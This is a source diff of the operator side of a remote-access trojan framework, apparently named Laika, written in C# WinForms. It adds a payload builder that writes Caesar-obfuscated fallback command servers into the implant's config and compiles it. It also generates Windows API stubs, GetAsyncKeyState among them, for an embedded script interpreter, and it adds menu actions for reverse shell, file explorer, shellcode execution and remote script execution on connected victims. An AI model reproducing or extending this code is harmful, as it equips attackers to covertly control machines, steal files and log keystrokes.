this.Selected_apis.TabIndex = 27;
this.Selected_apis.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Selected_apis_MouseDown);
//
// searchBox
//
this.searchBox.Location = new System.Drawing.Point(553, 28);
this.searchBox.Name = "searchBox";
this.searchBox.Size = new System.Drawing.Size(138, 20);
this.searchBox.TabIndex = 28;
this.searchBox.Text = "Search for an API";
this.searchBox.TextChanged += new System.EventHandler(this.SearchBox_TextChanged);
//
// searchResultsListBox
//
this.searchResultsListBox.FormattingEnabled = true;
this.searchResultsListBox.Location = new System.Drawing.Point(553, 54);
this.searchResultsListBox.Name = "searchResultsListBox";
this.searchResultsListBox.Size = new System.Drawing.Size(138, 355);
this.searchResultsListBox.TabIndex = 29;
this.searchResultsListBox.SelectedIndexChanged += new System.EventHandler(this.SearchResultsListBox_SelectedIndexChanged);
//
// label13
//
this.label13.AutoSize = true;
this.label13.Location = new System.Drawing.Point(371, 26);
this.label13.Name = "label13";
this.label13.Size = new System.Drawing.Size(127, 13);
this.label13.TabIndex = 30;
this.label13.Text = "Selected Windows APIs :";
//
// contextMenuStrip2
//
this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.toolStripMenuItem1});
this.contextMenuStrip2.Name = "contextMenuStrip1";
this.contextMenuStrip2.Size = new System.Drawing.Size(108, 26);
//
// toolStripMenuItem1
//
this.toolStripMenuItem1.Image = global::Server.Properties.Resources.delete;
this.toolStripMenuItem1.Name = "toolStripMenuItem1";
this.toolStripMenuItem1.Size = new System.Drawing.Size(107, 22);
this.toolStripMenuItem1.Text = "Delete";
this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click);
//
// BuildMenu
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(355, 465);
this.ClientSize = new System.Drawing.Size(703, 465);
this.Controls.Add(this.label13);
this.Controls.Add(this.searchResultsListBox);
this.Controls.Add(this.searchBox);
this.Controls.Add(this.Selected_apis);
this.Controls.Add(this.label12);
this.Controls.Add(this.label11);
this.Controls.Add(this.label10);
this.Controls.Add(this.label9);
this.Controls.Add(this.pictureBox1);
this.Controls.Add(this.button3);
@@ -320,7 +413,8 @@
this.Controls.Add(this.label1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.Hosts);
this.MinimumSize = new System.Drawing.Size(371, 430);
this.MaximumSize = new System.Drawing.Size(719, 504);
this.MinimumSize = new System.Drawing.Size(719, 504);
this.Name = "BuildMenu";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
this.Text = "Build a payload";
@@ -329,6 +423,7 @@
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.contextMenuStrip2.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
@@ -360,5 +455,14 @@
private System.Windows.Forms.Button button3;
private System.Windows.Forms.PictureBox pictureBox1;
private System.Windows.Forms.Label label9;
private System.Windows.Forms.Label label10;
private System.Windows.Forms.Label label11;
private System.Windows.Forms.Label label12;
private System.Windows.Forms.ListBox Selected_apis;
private System.Windows.Forms.TextBox searchBox;
private System.Windows.Forms.ListBox searchResultsListBox;
private System.Windows.Forms.Label label13;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip2;
private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1;
}
}

View File

@@ -8,14 +8,97 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Text.Json;
namespace Server
{
public partial class BuildMenu : Form
{
private List<ApiInfo> apis;
public BuildMenu()
{
InitializeComponent();
LoadApis();
SetPlaceholder();
searchBox.GotFocus += searchBox_GotFocus;
searchBox.LostFocus += searchBox_LostFocus;
}
private void SetPlaceholder()
{
searchBox.Text = "Search for an API";
searchBox.ForeColor = Color.Gray;
}
private void searchBox_GotFocus(object sender, EventArgs e)
{
if (searchBox.Text == "Search for an API")
{
searchBox.Text = "";
searchBox.ForeColor = Color.Black;
}
}
private void searchBox_LostFocus(object sender, EventArgs e)
{
if (string.IsNullOrWhiteSpace(searchBox.Text))
{
SetPlaceholder();
}
}
private void LoadApis()
{
string filePath = "../data/win_apis.json";
if (File.Exists(filePath))
{
string jsonContent = File.ReadAllText(filePath);
apis = JsonSerializer.Deserialize<List<ApiInfo>>(jsonContent);
int maxItems = apis.Count;
for (int i = 0; i < maxItems; i++)
{
searchResultsListBox.Items.Add(apis[i].function_name);
}
Selected_apis.Items.Add("VirtualAlloc");
Selected_apis.Items.Add("VirtualFree");
Selected_apis.Items.Add("GetAsyncKeyState");
}
else
{
MessageBox.Show("API file not found!");
}
}
private void SearchBox_TextChanged(object sender, EventArgs e)
{
string searchText = searchBox.Text.ToLower();
if (searchText == "search for an api" || searchText == "")
return;
searchResultsListBox.Items.Clear();
var filteredApis = apis.Where(api => api.function_name.ToLower().Contains(searchText)).ToList();
foreach (var api in filteredApis)
{
searchResultsListBox.Items.Add(api.function_name);
}
}
private void SearchResultsListBox_SelectedIndexChanged(object sender, EventArgs e)
{
if (searchResultsListBox.SelectedItem != null)
{
string selectedFunctionName = searchResultsListBox.SelectedItem.ToString();
if (!Selected_apis.Items.Contains(selectedFunctionName))
{
Selected_apis.Items.Add(selectedFunctionName);
}
}
}
private void BuildMenu_Load(object sender, EventArgs e)
@@ -53,28 +136,144 @@ namespace Server
button2.Enabled = false;
}
private void AppendApisToAPIC()
{
string filePath = "../pasm/src/api.c";
string marker = "// generated APIs here";
string fileContent = File.ReadAllText(filePath);
int markerPosition = fileContent.IndexOf(marker);
if (markerPosition == -1)
{
MessageBox.Show($"Marker '{marker}' not found in the file.");
return;
}
string newContent = fileContent.Substring(0, markerPosition + marker.Length) + "\n";
using (StreamWriter sw = new StreamWriter(filePath, false)) // Overwrite the file
{
sw.Write(newContent);
foreach (var selectedItem in Selected_apis.Items)
{
string functionName = selectedItem.ToString();
var api = apis.FirstOrDefault(a => a.function_name == functionName);
if (api == null) continue;
bool returnsVoid = api.full_prototype.StartsWith("void");
StringBuilder functionBody = new StringBuilder();
StringBuilder functionCallArgs = new StringBuilder();
StringBuilder typedefArgs = new StringBuilder();
for(int j = 0; j < api.arguments.Count; j++)
{
string argType = api.arguments[j];
typedefArgs.Append(argType);
if ((j + 1) < api.arguments.Count)
{
typedefArgs.Append(", ");
}
}
for (int i = 0; i < api.arguments.Count; i++)
{
string argName = $"arg{i}";
string argType = api.arguments[i];
functionBody.AppendLine($" long long {argName} = state->STACK[state->STACK_IDX--];");
if (functionCallArgs.Length > 0)
{
functionCallArgs.Append(", ");
}
functionCallArgs.Append($"({argType}){argName}");
}
string functionCall = returnsVoid
? $"{functionName}({functionCallArgs.ToString()});"
: $"state->registers->eax = (long long)p{functionName}({functionCallArgs.ToString()});";
string functionCode = $@"
#ifdef _WIN32
typedef {api.full_prototype.Split(' ')[0]}(WINAPI *f{api.function_name})({typedefArgs.ToString()});
#endif
void api_{functionName}(void) {{
#ifdef _WIN32
f{api.function_name} p{api.function_name} = GetApi(L""{api.dll_name}"", ""{api.function_name}"");
{functionBody.ToString()} {functionCall}
#else
state->STACK_IDX -= {api.arguments.Count};
{(returnsVoid ? string.Empty : "state->registers->eax = 1;")}
#endif
}}
";
sw.WriteLine(functionCode);
}
}
}
private void UpdateApiHeaderFile()
{
string filePath = "../pasm/src/api.h";
string markerStart = "// generated APIs here";
string markerEnd = "//end";
string fileContent = File.ReadAllText(filePath);
int startMarkerPosition = fileContent.IndexOf(markerStart);
int endMarkerPosition = fileContent.IndexOf(markerEnd, startMarkerPosition);
if (startMarkerPosition == -1 || endMarkerPosition == -1)
{
MessageBox.Show($"Markers '{markerStart}' or '{markerEnd}' not found in the file.");
return;
}
string contentBeforeMarkers = fileContent.Substring(0, startMarkerPosition + markerStart.Length) + "\n";
string contentAfterMarkers = fileContent.Substring(endMarkerPosition);
StringBuilder prototypes = new StringBuilder();
StringBuilder apiMapEntries = new StringBuilder();
foreach (var selectedItem in Selected_apis.Items)
{
string functionName = selectedItem.ToString();
prototypes.AppendLine($"void api_{functionName}();");
apiMapEntries.AppendLine($" {{.command = \"{functionName}\", .fptr = api_{functionName}}},");
}
string newContent = contentBeforeMarkers + prototypes.ToString() + "\n" + contentAfterMarkers;
int apiMapStartMarkerPosition = newContent.IndexOf(markerStart, startMarkerPosition + markerStart.Length);
int apiMapEndMarkerPosition = newContent.IndexOf(markerEnd, apiMapStartMarkerPosition);
string newApiMapContent = newContent.Substring(0, apiMapStartMarkerPosition + markerStart.Length) + "\n" +
apiMapEntries.ToString() + "\n" +
newContent.Substring(apiMapEndMarkerPosition);
File.WriteAllText(filePath, newApiMapContent);
}
private void button2_Click(object sender, EventArgs e)
{
string output = "";
button2.Text = "Building...";
button2.Text = "Writing APIs to pasm...";
button2.Update();
string filePath = @"..\Laika\config.h";
string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count;
newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n";
for (int i = 0; Hosts.Items.Count > i; i++)
{
newContent += "\t\"" + Utils.CAESAR(Hosts.Items[i].ToString()) + "\",\n";
}
newContent += "};\n\n";
newContent += "int fallback_servers_ip[FALLBACK_SERVERS] = {\n";
for (int j = 0; Hosts.Items.Count > j; j++)
{
newContent += "\t4444,\n";
}
newContent += "};";
AppendApisToAPIC();
UpdateApiHeaderFile();
button2.Text = "Building pasm...";
button2.Update();
File.WriteAllText(filePath, newContent);
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
@@ -91,6 +290,45 @@ namespace Server
vs_path = vs_path.Replace("\r\n", "");
string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe";
startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../pasm/msvc/pasm.vcxproj /p:Configuration=Release;Platform=x86 /p:LaikaBuild=true";
startInfo.RedirectStandardError = true;
process.StartInfo = startInfo;
process.Start();
output += process.StandardOutput.ReadToEnd();
output += process.StandardError.ReadToEnd();
process.WaitForExit();
button2.Text = "Building Laika...";
button2.Update();
/*
startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86";
startInfo.RedirectStandardError = true;
process.StartInfo = startInfo;
process.Start();
output += process.StandardOutput.ReadToEnd();
output += process.StandardError.ReadToEnd();
process.WaitForExit();
*/
string filePath = @"..\Laika\config.h";
string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count;
newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n";
for (int i = 0; Hosts.Items.Count > i; i++)
{
newContent += "\t\"" + Utils.CAESAR(Hosts.Items[i].ToString()) + "\",\n";
}
newContent += "};\n\n";
newContent += "int fallback_servers_ip[FALLBACK_SERVERS] = {\n";
for (int j = 0; Hosts.Items.Count > j; j++)
{
newContent += "\t4444,\n";
}
newContent += "};";
File.WriteAllText(filePath, newContent);
startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86";
startInfo.RedirectStandardError = true;
process.StartInfo = startInfo;
@@ -175,5 +413,33 @@ namespace Server
label6.Enabled = checkBox4.Checked;
numericUpDown2.Enabled = checkBox4.Checked;
}
private void toolStripMenuItem1_Click(object sender, EventArgs e)
{
Selected_apis.Items.RemoveAt(Selected_apis.SelectedIndex);
if (Selected_apis.Items.Count == 0)
button2.Enabled = false;
}
private void Selected_apis_MouseDown(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
int index = Selected_apis.IndexFromPoint(e.Location);
if (index < 0)
return;
Selected_apis.SelectedIndex = index;
contextMenuStrip2.Show(Cursor.Position);
}
}
}
public class ApiInfo
{
public string function_name { get; set; }
public List<string> arguments { get; set; }
public string dll_name { get; set; }
public string full_prototype { get; set; }
}
}

View File

@@ -120,4 +120,7 @@
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<metadata name="contextMenuStrip2.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>172, 17</value>
</metadata>
</root>

View File

@@ -23,7 +23,7 @@ namespace Server
}
public static int ITEM_ID = 0;
public static int CLIENT_ID = 0;
public static int CLIENT_ID = -1;
public static string PATH = "";
public static bool OPENED = false;
@@ -83,8 +83,6 @@ namespace Server
dataGridView2.Rows[idx].Tag += "/f";
}
}
c.Client.Blocking = false;
} catch
{
CLIENT_ID = -1;
@@ -114,7 +112,6 @@ namespace Server
int bytesRead;
bytesRead = stream.Read(buffer, 0, buffer.Length);
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
c.Client.Blocking = false;
} catch
{
CLIENT_ID = -1;
@@ -194,8 +191,6 @@ namespace Server
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
stream.Write(Message, 0, Message.Length);
c.Client.Blocking = false;
}
catch
{
@@ -259,6 +254,7 @@ namespace Server
private void FileExplorer_FormClosing(object sender, FormClosingEventArgs e)
{
CLIENT_ID = -1;
OPENED = false;
}
@@ -288,8 +284,6 @@ namespace Server
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
stream.Write(Message, 0, Message.Length);
c.Client.Blocking = false;
}
catch
{
@@ -328,8 +322,6 @@ namespace Server
stream.Write(Message, 0, Message.Length);
byte[] fileContent = File.ReadAllBytes(filePath);
stream.Write(fileContent, 0, fileContent.Length);
c.Client.Blocking = false;
}
catch
{
@@ -455,8 +447,6 @@ namespace Server
{
DownloadFile(PATH + file, stream, c);
}
c.Client.Blocking = false;
}
catch
{

101
Server/Menu.Designer.cs generated
View File

@@ -29,9 +29,9 @@
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle();
this.menuStrip1 = new System.Windows.Forms.MenuStrip();
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@@ -41,9 +41,13 @@
this.Id = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.IPAddress = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.label1 = new System.Windows.Forms.Label();
this.pasmToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.editorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.shellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.fileExplorerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.shellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.executePasmScriptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.menuStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit();
this.contextMenuStrip1.SuspendLayout();
@@ -54,7 +58,8 @@
this.menuStrip1.BackColor = System.Drawing.SystemColors.Menu;
this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.toolStripMenuItem1,
this.payloadToolStripMenuItem});
this.payloadToolStripMenuItem,
this.pasmToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
this.menuStrip1.Size = new System.Drawing.Size(591, 24);
@@ -102,27 +107,27 @@
| System.Windows.Forms.AnchorStyles.Right)));
this.dataGridView1.BackgroundColor = System.Drawing.SystemColors.HighlightText;
this.dataGridView1.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single;
dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText;
dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1;
dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText;
dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7;
this.dataGridView1.ColumnHeadersHeight = 30;
this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing;
this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.Id,
this.IPAddress});
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle2;
dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window;
dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText;
dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight;
dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle8;
this.dataGridView1.EnableHeadersVisualStyles = false;
this.dataGridView1.GridColor = System.Drawing.SystemColors.ScrollBar;
this.dataGridView1.Location = new System.Drawing.Point(12, 28);
@@ -132,12 +137,12 @@
this.dataGridView1.ReadOnly = true;
this.dataGridView1.RowHeadersVisible = false;
this.dataGridView1.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle3;
dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle9;
this.dataGridView1.RowTemplate.ReadOnly = true;
this.dataGridView1.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView1.Size = new System.Drawing.Size(567, 302);
this.dataGridView1.Size = new System.Drawing.Size(567, 295);
this.dataGridView1.TabIndex = 1;
this.dataGridView1.TabStop = false;
this.dataGridView1.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellContentClick);
@@ -164,15 +169,40 @@
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.shellToolStripMenuItem,
this.fileExplorerToolStripMenuItem,
this.shellcodeToolStripMenuItem});
this.shellcodeToolStripMenuItem,
this.executePasmScriptToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(169, 70);
this.contextMenuStrip1.Size = new System.Drawing.Size(189, 92);
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(10, 325);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(61, 13);
this.label1.TabIndex = 2;
this.label1.Text = "Listening at";
//
// pasmToolStripMenuItem
//
this.pasmToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.editorToolStripMenuItem});
this.pasmToolStripMenuItem.Name = "pasmToolStripMenuItem";
this.pasmToolStripMenuItem.Size = new System.Drawing.Size(48, 20);
this.pasmToolStripMenuItem.Text = "pasm";
//
// editorToolStripMenuItem
//
this.editorToolStripMenuItem.Name = "editorToolStripMenuItem";
this.editorToolStripMenuItem.Size = new System.Drawing.Size(105, 22);
this.editorToolStripMenuItem.Text = "Editor";
this.editorToolStripMenuItem.Click += new System.EventHandler(this.editorToolStripMenuItem_Click);
//
// shellToolStripMenuItem
//
this.shellToolStripMenuItem.Image = global::Server.Properties.Resources.terminal;
this.shellToolStripMenuItem.Name = "shellToolStripMenuItem";
this.shellToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
this.shellToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
this.shellToolStripMenuItem.Text = "Reverse shell";
this.shellToolStripMenuItem.Click += new System.EventHandler(this.ReverseShellToolStripMenuItem_Click);
//
@@ -180,7 +210,7 @@
//
this.fileExplorerToolStripMenuItem.Image = global::Server.Properties.Resources.folder;
this.fileExplorerToolStripMenuItem.Name = "fileExplorerToolStripMenuItem";
this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
this.fileExplorerToolStripMenuItem.Text = "File Explorer";
this.fileExplorerToolStripMenuItem.Click += new System.EventHandler(this.fileExplorerToolStripMenuItem_Click);
//
@@ -188,19 +218,30 @@
//
this.shellcodeToolStripMenuItem.Image = global::Server.Properties.Resources.execute;
this.shellcodeToolStripMenuItem.Name = "shellcodeToolStripMenuItem";
this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
this.shellcodeToolStripMenuItem.Text = "Execute shellcode";
this.shellcodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteShellcodeToolStripMenuItem_Click);
//
// executePasmScriptToolStripMenuItem
//
this.executePasmScriptToolStripMenuItem.Image = global::Server.Properties.Resources.scenario;
this.executePasmScriptToolStripMenuItem.Name = "executePasmScriptToolStripMenuItem";
this.executePasmScriptToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
this.executePasmScriptToolStripMenuItem.Text = "Execute a pasm script";
this.executePasmScriptToolStripMenuItem.Click += new System.EventHandler(this.executePasmScriptToolStripMenuItem_Click);
//
// Menu
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.AutoScroll = true;
this.ClientSize = new System.Drawing.Size(591, 342);
this.Controls.Add(this.label1);
this.Controls.Add(this.dataGridView1);
this.Controls.Add(this.menuStrip1);
this.MainMenuStrip = this.menuStrip1;
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(607, 381);
this.MinimumSize = new System.Drawing.Size(607, 381);
this.Name = "Menu";
this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show;
@@ -229,6 +270,10 @@
private System.Windows.Forms.ToolStripMenuItem shellToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem fileExplorerToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem shellcodeToolStripMenuItem;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.ToolStripMenuItem pasmToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem editorToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem executePasmScriptToolStripMenuItem;
}
}

View File

@@ -11,6 +11,7 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using System.Runtime.CompilerServices;
namespace Server
{
@@ -24,11 +25,13 @@ namespace Server
public static TcpListener server;
public static int CLIENT_ID;
public static List<TcpClient> CONNECT_CLIENTS = new List<TcpClient>();
public static string localip;
public static int localport;
public static void ServerStart()
{
string localIPAddress = "192.168.56.1";//Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString();
int port = 4444;
server = new TcpListener(System.Net.IPAddress.Parse(localIPAddress), port);
localip = Dns.GetHostEntry(Dns.GetHostName()).AddressList.FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork).ToString();
localport = 4444;
server = new TcpListener(System.Net.IPAddress.Parse(localip), localport);
server.Start();
}
public static void ServerStop()
@@ -48,7 +51,7 @@ namespace Server
{
continue;
}
client.Client.Blocking = false;
client.Client.Blocking = true;
for (int i = 0; i < dataGridView1.Rows.Count; i++)
{
if (dataGridView1.Rows[i].Cells[1].Value.ToString() == client.Client.RemoteEndPoint.ToString().Split(':')[0])
@@ -133,6 +136,7 @@ namespace Server
private void Form1_Load(object sender, EventArgs e)
{
dataGridView1.ClearSelection();
label1.Text = "Listening at " + localip + ":" + localport.ToString();
}
private void toolStripMenuItem1_Click(object sender, EventArgs e)
@@ -227,8 +231,18 @@ namespace Server
{
MessageBox.Show("Client timed out.");
}
}
c.Client.Blocking = false;
private void editorToolStripMenuItem_Click(object sender, EventArgs e)
{
PasmEditor pasm = new PasmEditor(false);
pasm.Show(this);
}
private void executePasmScriptToolStripMenuItem_Click(object sender, EventArgs e)
{
PasmEditor pasm = new PasmEditor(true);
pasm.Show(this);
}
}
}

193
Server/PasmEditor.Designer.cs generated Normal file
View File

@@ -0,0 +1,193 @@
namespace Server
{
partial class PasmEditor
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.menuStrip1 = new System.Windows.Forms.MenuStrip();
this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.newCTRLNToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.openToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.saveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.saveAsCTRLMajSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.closeCTRLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.codeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.textBox1 = new System.Windows.Forms.TextBox();
this.splitter1 = new System.Windows.Forms.Splitter();
this.menuStrip1.SuspendLayout();
this.SuspendLayout();
//
// menuStrip1
//
this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.fileToolStripMenuItem,
this.codeToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
this.menuStrip1.Size = new System.Drawing.Size(800, 24);
this.menuStrip1.TabIndex = 0;
this.menuStrip1.Text = "menuStrip1";
//
// fileToolStripMenuItem
//
this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.newCTRLNToolStripMenuItem,
this.openToolStripMenuItem,
this.saveToolStripMenuItem,
this.saveAsCTRLMajSToolStripMenuItem,
this.closeCTRLToolStripMenuItem});
this.fileToolStripMenuItem.Name = "fileToolStripMenuItem";
